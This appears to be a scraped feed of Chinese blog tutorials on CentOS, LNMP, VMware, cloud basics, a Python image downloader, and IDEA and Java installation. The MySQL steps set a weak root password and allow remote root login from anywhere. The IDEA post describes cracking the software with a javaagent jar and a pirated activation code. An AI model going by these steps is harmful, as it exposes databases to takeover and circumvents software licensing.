yum -y install openssl openssl-devel pcre pcre-devel zlib zlib-devel vim httpd-tools

编译安装nginx

1
wget http://nginx.org/download/nginx-1.22.0.tar.gz
1
cd /usr/local/src/     # 默认下载路径
1
tar -zxvf nginx-1.22.0.tar.gz
1
cd nginx-1.22.0
1
./configure && make && make install

环境变量部分，配置好了就可以在任何目录执行nginx命令，感觉很有必要

查看nginx安装目录

1
whereis nginx

配置环境变量

1
vi /etc/profile.d/nginx.sh

里面写

1
export PATH="$PATH:/usr/local/nginx/sbin"

重新ssh连接使环境变量生效，不用重启系统

检查nginx环境变量是否配置成功，出现/usr/local/nginx/sbin就成功了，即出现你的安装路径/sbin

1
2
[root@localhost ~]# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/local/nginx/sbin:/root/bin

方法二：rpm包安装(简单)

下载rpm包

1
wget https://nginx.org/packages/centos/7/x86_64/RPMS/nginx-1.20.2-1.el7.ngx.x86_64.rpm

安装，默认安装路径/etc/nginx

1
rpm -ivh nginx-1.20.2-1.el7.ngx.x86_64.rpm

启动

1
systemctl start nginx

开机自启(记得关selinux,上面有)

1
systemctl enable nginx

浏览器访问虚拟机或者服务器ip，出现Welcome to nginx!就安装成功啦

基本操作命令

相关常用指令及参数

参数释义
nginx -h/-?输出nginx的帮助信息
nginx -v输出nginx版本信息
nginx -t检查nginx配置文件语法是否正确
nginx -T检查配置输出配置信息
nginx -s [参数]参数=stop,quit,reopen,reload
nginx -c设置自定义的nginx配置文件路径
nginx -g设置覆盖一些默认的参数
nginx -q检测配置文件期间屏蔽非错误信息

启动nginx

1
nginx

访问ip:80,能访问则启动成功

停止nginx

1
nginx -s stop

平滑重启

1
nginx -s reload

查看nginx相关进程

1
ps -ef|grep nginx |grep -v grep

每次启动nginx前记得检查配置文件语法,ok就是没有问题

1
2
3
[root@localhost nginx]# nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

安装php7.0

添加epel第三方依赖库，安装YUM源

1
yum -y install epel-release yum-utils
1
rpm -Uvh http://mirror.webtatic.com/yum/el7/epel-release.rpm
1
rpm -ivh http://mirror.webtatic.com/yum/el7/webtatic-release.rpm
1
yum clean all && yum makecache

安装PHP相关依赖库和模块

1
yum install -y php70w-tidy php70w-common php70w-devel php70w-pdo php70w-mysql php70w-gd php70w-ldap php70w-mbstring php70w-mcrypt php70w-fpm

检查php版本

1
php -v

启动php-fpm，并设置开机自启

1
systemctl start php-fpm && systemctl enable php-fpm

安装mysql

下载mysql压缩包

1
wget https://llwp.linlink.xyz/%E8%BD%AF%E4%BB%B6%E7%B3%BB%E5%88%97/Linux_x64%20mysql/mysql-8.0.30-1.el7.x86_64.rpm-bundle.tar

解压

1
tar -xvf mysql-8.0.30-1.el7.x86_64.rpm-bundle.tar

本地安装MySQL

1
sudo yum localinstall *.rpm

查看MySQL版本

1
mysql --version

重启MySQL，并设置开启自启

1
systemctl restart mysqld && systemctl enable mysqld

获取密码,最后一段就是密码

1
grep 'temporary password' /var/log/mysqld.log

登录MySQL

1
mysql -u root -p

先设置一个复杂的密码

1
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '000Plinlink%';

修改密码规则

1
2
3
4
5
set global validate_password.length=6;
set global validate_password.mixed_case_count=0;
set global validate_password.number_count=0;
set global validate_password.policy=LOW;
set global validate_password.special_char_count=0;

现在可以设置简单的密码

1
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '123456';

进入MySQL数据库

1
use mysql;

修改权限、允许远程登陆

1
update user set host = '%' where user = 'root';
1
flush privileges;
1
select host, user from user;
1
quit
]]> <h1 id="安装环境"><a href="#安装环境" class="headerlink" title="安装环境"></a>安装环境</h1><ul> <li>CentOS 7 Linux系统安装nginx，php，mysql简写为LNMP</li> </ul> <h1 VMware安装CentOS~7.9 https://www.linlink.xyz/posts/19bfdc81.html 2022-09-15T07:00:35.000Z 2022-12-28T02:35:19.055Z 下载CentOS~7.9镜像

下载地址：https://llwp.linlink.xyz/%E8%BD%AF%E4%BB%B6%E7%B3%BB%E5%88%97/%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%B3%BB%E5%88%97/%E7%B3%BB%E7%BB%9F%E9%95%9C%E5%83%8F/CentOS-7-x86_64-DVD-2009.iso

配置VMware网络

img
img
img
img

开始安装CentOS

img
img
img
img
img
img
img
img
img
img

选择Install CentOS 7

img

选择语言

img

分区(怎么都行)

img
img

直接安装

img

设置root密码

img

弱密码点两次

img

重启

img
img

配置NAT静态ip

查看网卡得知NAT的配置文件为ens33

1
2
3
4
5
6
7
8
9
10
11
12
13
[root@localhost ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:d5:f7:1b brd ff:ff:ff:ff:ff:ff
    inet 192.168.20.200/24 brd 192.168.20.255 scope global noprefixroute dynamic ens33
       valid_lft 1489sec preferred_lft 1489sec
    inet6 fe80::f230:6540:5c24:735/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

编辑ens33

1
vi /etc/sysconfig/network-scripts/ifcfg-ens33

有的有双引号，有的没有，自己注意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
TYPE="Ethernet"
PROXY_METHOD="none"
BROWSER_ONLY="no"
BOOTPROTO="static"
DEFROUTE="yes"
IPV4_FAILURE_FATAL="no"
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"
NAME="ens33"
UUID="d6084321-b13a-43b9-a474-26cb3ca78413"
DEVICE="ens33"
ONBOOT="yes"
IPV6_PRIVACY="no"
IPADDR="192.168.20.10"
NETMASK="255.255.255.0"
GATEWAY="192.168.20.2"
DNS1="192.168.20.2"

关机

添加第二个网卡,放后面不容易出错(需要就操作不需要就跳过)

img

必须确定第一张网卡是NAT,第二张网卡是仅主机

img

配置仅主机模式静态ip

查看网卡得知仅主机模式的配置文件为ens36，有的是ens34或者其它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@localhost ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:d5:f7:1b brd ff:ff:ff:ff:ff:ff
    inet 192.168.20.200/24 brd 192.168.20.255 scope global noprefixroute dynamic ens33
       valid_lft 1730sec preferred_lft 1730sec
    inet6 fe80::f230:6540:5c24:735/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
3: ens36: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:d5:f7:25 brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.200/24 brd 192.168.10.255 scope global noprefixroute dynamic ens36
       valid_lft 1729sec preferred_lft 1729sec
    inet6 fe80::1da4:c7ed:f085:ce2d/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

查看是否有ens36文件,好像是没有,有就直接编辑它

1
2
3
4
5
6
7
[root@localhost ~]# ll /etc/sysconfig/network-scripts/
total 232
-rw-r--r--. 1 root root   328 Sep 23 11:39 ifcfg-ens33
-rw-r--r--. 1 root root   254 May 22  2020 ifcfg-lo
lrwxrwxrwx. 1 root root    24 Sep 23 11:38 ifdown -> ../../../usr/sbin/ifdown
-rwxr-xr-x. 1 root root   654 May 22  2020 ifdown-bnep
-rwxr-xr-x. 1 root root  6532 May 22  2020 ifdown-eth

如果没有ens36，如果是ens34,把下面ens36修改为ens34

1
nmcli con add con-name ens36 type ethernet ifname ens36

继续查看有没有ens36文件,这下有了

1
2
3
4
5
6
7
8
9
10
[root@localhost ~]# ll /etc/sysconfig/network-scripts/
total 236
-rw-r--r--. 1 root root   328 Sep 23 11:39 ifcfg-ens33
-rw-r--r--. 1 root root   280 Sep 23 12:03 ifcfg-ens36
-rw-r--r--. 1 root root   254 May 22  2020 ifcfg-lo
lrwxrwxrwx. 1 root root    24 Sep 23 11:38 ifdown -> ../../../usr/sbin/ifdown
-rwxr-xr-x. 1 root root   654 May 22  2020 ifdown-bnep
-rwxr-xr-x. 1 root root  6532 May 22  2020 ifdown-eth
-rwxr-xr-x. 1 root root   781 May 22  2020 ifdown-ippp
-rwxr-xr-x. 1 root root  4540 May 22  2020 ifdown-ipv6

编辑ens36

1
vi /etc/sysconfig/network-scripts/ifcfg-ens36

有的有双引号，有的没有，自己注意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=static
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens36
UUID=e58dad0e-108b-4039-9ad3-2bec0f5799c0
DEVICE=ens36
ONBOOT=yes
IPADDR=192.168.10.10
NETMASK=255.255.255.0
GATEWAY=192.168.10.2
DNS1=192.168.10.2

重启网卡

1
systemctl restart network

查看ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[root@localhost ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:d5:f7:1b brd ff:ff:ff:ff:ff:ff
    inet 192.168.20.10/24 brd 192.168.20.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::f230:6540:5c24:735/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
3: ens36: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:d5:f7:25 brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.10/24 brd 192.168.10.255 scope global noprefixroute ens36
       valid_lft forever preferred_lft forever
    inet6 fe80::5cdf:75f:54b:12dd/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

测试网络连通性

1
2
3
4
5
6
7
8
9
10
11
[root@localhost ~]# ping baidu.com
PING baidu.com (110.242.68.66) 56(84) bytes of data.
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=1 ttl=128 time=45.5 ms
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=2 ttl=128 time=45.6 ms
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=3 ttl=128 time=45.5 ms
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=4 ttl=128 time=45.7 ms
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=5 ttl=128 time=45.4 ms
^C
--- baidu.com ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4010ms
rtt min/avg/max/mdev = 45.468/45.613/45.793/0.291 ms
]]> <h1 id="下载CentOS-7-9镜像"><a href="#下载CentOS-7-9镜像" class="headerlink" title="下载CentOS~7.9镜像"></a>下载CentOS~7.9镜像</h1><p>下载地址：<a href="https:// 服务器知识 https://www.linlink.xyz/posts/1e00c691.html 2022-09-10T07:00:35.000Z 2022-12-28T02:37:58.684Z 基本

服务器是计算机的一种，它比普通计算机运行更快、负载更高、价格更贵。服务器在网络中为其它客户机（如PC机、智能手机、ATM等终端甚至是火车系统等大型设备）提供计算或者应用服务。服务器具有高速的CPU运算能力、长时间的可靠运行、强大的I/O外部数据吞吐能力以及更好的扩展性。根据服务器所提供的服务，一般来说服务器都具备承担响应服务请求、承担服务、保障服务的能力。服务器作为电子设备，其内部的结构十分的复杂，但与普通的计算机内部结构相差不大，如：cpu、硬盘、内存，系统、系统总线等，说人话就是服务器差不多就是台电脑比电脑强太多，跟电脑一样越强越贵

作用

服务器主要是用来响应终端的服务请求，并进行处理。我们在上网的时候是不可能直接将网络接入互联网的，我们都需要通过服务器来连接网络，只有服务器响应你的请求，并且进行处理以后才以联网:存储的功能，服务器的存储空间一般比较允足，可以存储非常多的信息，说人话差不多就是可以搭建网站，让大家可以访问，建网站可以进行一些商业用途或者自己的个人空间比如这个博客

区别

  • ：ECS服务器：云服务器(Elastic Compute Service)，通常用户可以根据自己的需要选定主机容量、CPU能力、内存大小、带宽及购买时常等，因此也称之为弹性计算服务器，ECS在使用上和独立的服务器没有区别，且可以让企业节省自行购买和维护服务器硬件的成本，ECS已被中小企业广泛使用
  • ：VPS服务器：虚拟专用服务器（Virtual Private Server),即将一台独立服务器通过虚拟技术分割为若干个虚拟服务器，每个VPS可以独立安装系统，拥有独立的IP，实现不同VPS间磁盘空间、内存、CPU资源、进程和系统配置的隔离，为用户和应用程序模拟出“独占”使用计算资源的体验。VPS可以像独立服务器一样，重装操作系统，安装程序，单独重启服务器，形式上和ECS没有区别，但总体性能和付费灵活性不如ECS
  • ：虚拟主机：即将一台已安装操作系统和安全防范的服务器通过技术手段分割为若干个独立的空间，分配给用户独立使用，用户只需要上传网站程序，解析和绑定域名即可使用。虚拟主机不同于服务器，用户无法安装操作系统和操作软件，只能运行网站脚本语言、html文件、图片及其他静态文件等。虚拟主机相当于若干个用户一起租用一台服务器，价格实惠，简单易用，因此大多数企业网站选择了虚拟主机，而自助建站及云建站使用的也是虚拟主机
  • 大小关系为：ECS服务器(贵)>VPS服务器(一般)>虚拟主机(便宜或者免费)
  • ECS服务器相当于一台电脑，VPS服务器相当于一台电脑的磁盘，虚拟主机相当于电脑磁盘里的一个文件夹
]]> <h1 id="基本"><a href="#基本" class="headerlink" title="基本"></a>基本</h1><p>服务器是计算机的一种，它比普通计算机运行更快、负载更高、价格更贵。服务器在网络中为其它客户机（如PC机、智能手机、ATM等终端甚至是火车系统 虚拟平台 https://www.linlink.xyz/posts/160cd45b.html 2022-09-05T07:00:35.000Z 2022-12-28T02:44:42.046Z 常见的虚拟机软件
  • VirtualBox
  • VMware Workstation
  • Microsoft Windows Virtual PC

VirtualBox

VirtualBox 是一款开源虚拟机软件。VirtualBox 是由德国 Innotek 公司开发，由Sun Microsystems公司出品的软件，使用Qt编写，在 Sun 被 Oracle 收购后正式更名成 Oracle VM VirtualBox。Innotek 以 GNU General Public License (GPL) 释出 VirtualBox，并提供二进制版本及 OSE 版本的代码。使用者可以在VirtualBox上安装并且执行Solaris、Windows、DOS、Linux、OS/2 Warp、BSD等系统作为客户端操作系统。已由甲骨文公司进行开发，是甲骨文公司xVM虚拟化平台技术的一部分。
VirtualBox号称是最强的免费虚拟机软件，它不仅具有丰富的特色，而且性能也很优异。它简单易用，可虚拟的系统包括Windows（从Windows 3.1到Windows 10、Windows Server 2012，所有的Windows系统都支持）、Mac OS X、Linux、OpenBSD、Solaris、IBM OS2甚至Android等操作系统。使用者可以在VirtualBox上安装并且运行上述的这些操作系统。 与同性质的VMware及Virtual PC比较下，VirtualBox独到之处包括远端桌面协定（RDP）、iSCSI及USB的支持，VirtualBox在客户端操作系统上已可以支持USB 3.0的硬件装置，不过要安装 VirtualBox Extension Pack

VMware Workstation

VMware Workstation（中文名“威睿工作站”）是一款功能强大的桌面虚拟计算机软件，提供用户可在单一的桌面上同时运行不同的操作系统，和进行开发、测试 、部署新的应用程序的最佳解决方案。VMware Workstation可在一部实体机器上模拟完整的网络环境，以及可便于携带的虚拟机器，其更好的灵活性与先进的技术胜过了市面上其他的虚拟计算机软件。对于企业的 IT开发人员和系统管理员而言， VMware在虚拟网路，实时快照，拖曳共享文件夹，支持 PXE 等方面的特点使它成为必不可少的工具

Microsoft Windows Virtual PC

Windows Virtual PC是Microsoft最新的虚拟化技术。借助Windows Virtual PC，您单击一次即可直接从基于Windows 7的计算机在虚拟的Windows环境中运行许多生产应用程序

虚拟网络基础(VMware)

  • VMnet0 – 桥接模式 – 宿主机的物理网络和虚拟机的虚拟网卡在同一网段，可以通过宿主机物理网络访问互联网
  • VMnet1 – 仅主机模式 – 宿主机的物理网络和虚拟机的虚拟网卡必须在同一网段，但无法通过宿主机物理网络访问互联网
  • VMnet8 – NAT模式 – 宿主机的物理网络和虚拟机的虚拟网卡不在同一网段，可以通过宿主机物理网络访问互联网
]]> <h1 id="常见的虚拟机软件"><a href="#常见的虚拟机软件" class="headerlink" title="常见的虚拟机软件"></a>常见的虚拟机软件</h1><ul> <li>VirtualBox</li> <li>VMware Workstation</ 云计算 https://www.linlink.xyz/posts/f8225068.html 2022-09-01T07:00:35.000Z 2022-12-28T02:45:09.754Z 简述云计算的定义
  • 云计算是一种按使用量付费的模式，它可以实现随时随地、便捷地、随需应变地从可配置计算资源共享池中获取所需的资源（例如：网络、服务器、存储、应用及服务），资源能够快速供应并释放，使管理资源的工作量和与服务提供商的交互减小到最低限度

简述云计算的特点

  • 采用虚拟化技术
  • 超大规模
  • 动态可扩展
  • 按需分配，按量计费
  • 灵活性高
  • 具有高可靠性
  • 支持弹性伸缩

简述云计算的两种分类方式

  • 按服务对象分类: 公有，私有，混和
  • 按服务类型分类：硬件，平台，软件

简述公有云和私有云的区别

  • 公：面对所有人
  • 私：面对私人企业

如果需要在云上租用一台完整的服务器，应该向“IaaS”、“PaaS”、“SaaS”哪种云平台申请？

  • IaaS

简述OpenStack的核心组件功能

  • Identity~认证组件：项目名：Keystone，为其他OpenStack组件如Glance、Nova等提供认证和授权服务
  • Image~镜像管理组件：项目名：Glance，用来管理云主机的磁盘镜像和快照的组件，可以进行创建或删除镜像、创建或删除快照等操作
  • Compute~云主机管理组件：项目名：Nova，在OpenStack云操作系统中对云主机（也称实例）进行管理的组件，可以进行如云主机生成、调度、回收等操作
  • Network~网络服务组件：项目名：Neutron，曾用名为Quantum。Neutron是OpenStack中提供网络服务的核心组件，由它来管理云主机之间的网络
  • Dashboard~管理组件：项目名：Horizon，主要提供了一个名为Dashboard的Web服务，实现对云平台的可视化管理。如图2.4所示为Dashboard的管理界面

OpenStack的“Queens”版和“Victoria”版哪个更晚发行？

  • 根据版本单词首字母判断新旧，从A-Z越往后越新V在Q后面所以“Victoria”版更晚发行
]]> <h2 id="简述云计算的定义"><a href="#简述云计算的定义" class="headerlink" title="简述云计算的定义"></a>简述云计算的定义</h2><ul> <li>云计算是一种按使用量付费的模式，它可以实现随时随地、便捷地、随需应变地从可配置计 利用Python爬虫爬取图片api下载图片 https://www.linlink.xyz/posts/8968b02d.html 2022-08-25T07:00:35.000Z 2022-12-28T02:43:42.585Z 代码参考,出事自己负责
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib.request
import time
import random
j = 0
# 获取10张图片
while j < 10:
    order_number = lambda : int(round(time.time() * 1000 * 1000))  # 设置图片随机id
    t = random.randint(1, 3)  # 设置随机延时
    response = urllib.request.urlopen('https://api.ixiaowai.cn/api/api.php')  # 获取请求图片api
    cat_img = response.read()  # 保存图片
    time.sleep(t)  # 随机延时
    print("成功获取："+str(order_number()))
    j = j + 1
    DownloadPath = "D:/img/"   # 自定义下载路径,必须以“ / ”必须结尾
    with open(DownloadPath + str(order_number())+".jpg", "wb") as f:
        f.write(cat_img)
print("下载完成")
]]> <h2 id="代码参考-出事自己负责"><a href="#代码参考-出事自己负责" class="headerlink" title="代码参考,出事自己负责"></a>代码参考,出事自己负责</h2><figure class="highlight plaintext">< IDEA安装教程 https://www.linlink.xyz/posts/45bde9d4.html 2022-08-17T07:00:34.000Z 2022-12-28T02:40:11.341Z 前情提醒，此安装方法只适用操作系统Windows10，我网盘的IDEA版本，因为破解的嘛

IDEA介绍

IDEA全称 IntelliJ IDEA，是 Java 语言的集成开发环境，IDEA 在业界被公认为是最好的 java 开发工具之一，尤其在智能代码助手、代码自动提示、重构、J2EE支持、Ant、JUnit、CVS 整合、代码审查、创新的 GUI 设计等方面的功能可以说是超常的。IntelliJ IDEA 主要用于支持 Java、Scala、Groovy 等语言的开发工具

IDEA优点

精准搜索、提示功能的范围广、提示功能的快速、便捷、整合能力强、好用的快捷键、支持代码模板 private static final psf

IDEA下载

这没什么好说的，下载地址
https://llwp.linlink.xyz/%E8%BD%AF%E4%BB%B6%E7%B3%BB%E5%88%97/%E4%BB%A3%E7%A0%81%E7%BC%96%E8%AF%91%E5%B7%A5%E5%85%B7/

IDEA安装及配置

解压后的样子
img
安装idea，直接运行.exe文件
img
默认安装在C盘，改一下安装路径，可以不改，看自己爱好就行
我的安装路径：D:\ruanjian\idea\IntelliJ IDEA 2021.3
img
这里选上快捷方式和添加环境变量,中间那个我不能接受我选择不选，选了桌面右键变宽对我还没啥用
你如果能接受就选，下面那些就是绑定什么文件用idea打开，如果选择了.java那么打开Java文件时就
会用idea打开，自行考虑选择，选择好后Next—>install
img
安装完成
img
找到 “ FineAgent.jar “ 这个文件，将它复制到C盘根目录下
img
img
找到你的IDEA安装目录，并进入到bin目录
img
进去后找到 “ idea64.exe.vmoptions “ 这个文件，并用记事本打开
img
里面添加一句话: -javaagent:c:/fineagent.jar
img
保存后退出，找到 “ 激活码.txt “全文复制里面的内容(建议CTRL+A，CTRL+C)
img
回到桌面找到IDEA快捷方式启动它，选择Activation code将刚才复制的激活码粘贴到下方方框中，然后点击Activatie
img
到这里就完成了，2099年到期相当于永久了
img
后续配置及验证
img
新建一个项目
img
选择Java和Java版本，下一步
img
下一步
img
自定义项目名字和自定义项目路径
img
右键src新建一个package(包)并取名，注意包名全部要小写
右键package新建一个class(类)，注意类单词首字母要大写
img

1
2
3
4
5
6
7
8
package javayyds;
//package后面跟你的包名
public class CatJava {
    //class后面跟你的类名
    public static void main(String[] args) {
        System.out.println("hello Java");
    }
}

img
到此结束，感谢你的观看

]]> <h1 id="前情提醒，此安装方法只适用操作系统Windows10，我网盘的IDEA版本，因为破解的嘛"><a href="#前情提醒，此安装方法只适用操作系统Windows10，我网盘的IDEA版本，因为破解的嘛" class="headerlink" title="前情提醒 Java安装 https://www.linlink.xyz/posts/c032fe54.html 2022-08-16T07:00:34.000Z 2022-10-08T07:23:17.861Z Java下载

Java下载地址：https://www.oracle.com/java/technologies/downloads/archive
可能需要注册账号啥的，嫌麻烦的可以去我的网盘下载，网盘下载地址：
https://llwp.linlink.xyz/%E8%BD%AF%E4%BB%B6%E7%B3%BB%E5%88%97/Win_x64,Java%E5%90%84%E7%89%88%E6%9C%AC

Java安装

为了方便我就用我网盘下载的Java安装包,大概是这样
img
直接运行这个文件即可
img
可以看到默认安装为C盘，我们更改一下安装路径，改为你自己想要的安装路径，C盘战士请直接下一步
我的安装路径：D:\ruanjian\java\jdk-17.0.1(要记住这个路径)
img
出现已成功安装，即jdk安装成功，如下图
img
安装结束

配置环境变量

回到桌面==>右键此电脑==>点击属性==>进入到关于界面==>点击高级系统设置
img
点击环境变量
img
点击新建系统环境变量
img
输入变量名和变量值
变量名：JAVA_HOME
变量值：是你的Java安装路径，不要抄我的
img
确定后继续新建一个系统环境变量并输入变量名和变量值
变量名：CLASSPATH
变量值：.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar
img
确定后选择path，编辑
img
新建一个环境变量
img
里面写入：%JAVA_HOME%\bin
img
然后确定，确定，确定即可,回到桌面后W+R输入cmd回车输入：java -version 回车，出现Java版本号即环境配置完成
img
到此安装及配置结束，如果需要多版本之间切换，即修改JAVA_HOME的变量值(版本路径)

]]> <h1 id="Java下载"><a href="#Java下载" class="headerlink" title="Java下载"></a>Java下载</h1><p>Java下载地址：<a href="https://www.oracle.com/java/technolo